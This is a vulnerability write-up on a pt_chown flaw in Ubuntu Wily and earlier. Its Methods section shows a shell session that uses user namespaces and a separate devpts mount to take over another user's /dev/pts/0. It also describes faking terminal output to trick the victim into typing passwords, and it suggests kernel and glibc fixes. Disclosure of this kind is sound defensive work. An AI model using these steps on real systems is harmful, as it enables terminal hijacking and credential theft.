Introduction

Problem description:

With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:

pty = ptsname (PTY_FILENO); if (pty == NULL) ... /* Get the group ID of the special `tty' group. */ p = getgrnam (TTY_GROUP); gid = p ? p->gr_gid : getgid (); /* Set the owner to the real user ID, and the group to that special group ID. */ if (chown (pty, getuid (), gid) < 0) return FAIL_EACCES; /* Set the permission mode to readable and writable by the owner, and writable by the group. */ if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP) && chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0) return FAIL_EACCES; return 0;

The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then invoke pt_chown.

Methods

Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c and work with standard shell commands, e.g. to take over /dev/pts/0:

test# who am I test pts/1 2015-12-27 12:00 test# ./UserNamespacesExec -- /bin/bash Setting uid map in /proc/5783/uid_map Setting gid map in /proc/5783/gid_map euid: 0, egid: 0 euid: 0, egid: 0 root# mkdir mnt root# mount -t devpts -o newinstance /dev/pts mnt root# cd mnt root# chmod 0666 ptmx

Use a second shell to continue:

test# cd /proc/5783/cwd test# ls -al total 4 drwxr-xr-x 2 root root 0 Dec 27 12:48 . drwxr-xr-x 7 test users 4096 Dec 27 11:57 .. c--------- 1 test users 5, 2 Dec 27 12:48 ptmx test# exec 3<>ptmx test# ls -al total 4 drwxr-xr-x 2 root root 0 Dec 27 12:48 . drwxr-xr-x 7 test users 4096 Dec 27 11:57 .. crw------- 1 test users 136, 0 Dec 27 12:53 0 crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx test# ls -al /dev/pts/0 crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0 test# /usr/lib/pt_chown test# ls -al /dev/pts/0 crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0

On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.

Results, Discussion

As already mentioned in OverlayfsOverFusePrivilegeEscalation, exposure of essential OS functionality, previously just invoked by really privileged processes, to now unprivileged users via user namespaces greatly increases the attack surface and thus is a very interesting target for exploit development.

While glibc-2.18 already dropped default pt_chown compiling, switch --enable-pt_chown is now needed (see this post), some distros may have still the need to keep this piece of software. In my opinion, on those systems that bug should be fixed two-fold: At first, kernel should prevent the TIOCGPTN ioctl when invoked called by a process within one namespace but acting on a filedescriptor from a devpts instance mounted in a different namespace. Additionally pt_chown should check via readlink and stat, that the passed file descriptor really was from the /dev/ptmx or /dev/pts/ptmx device present in the same namespace as the /dev/pts/[num] device is residing. This of course is only relevant if pt_chown is going to survive on recent namespace aware systems.

Timeline

Material, References

Last modified 20171228
Contact e-mail: me (%) halfdog.net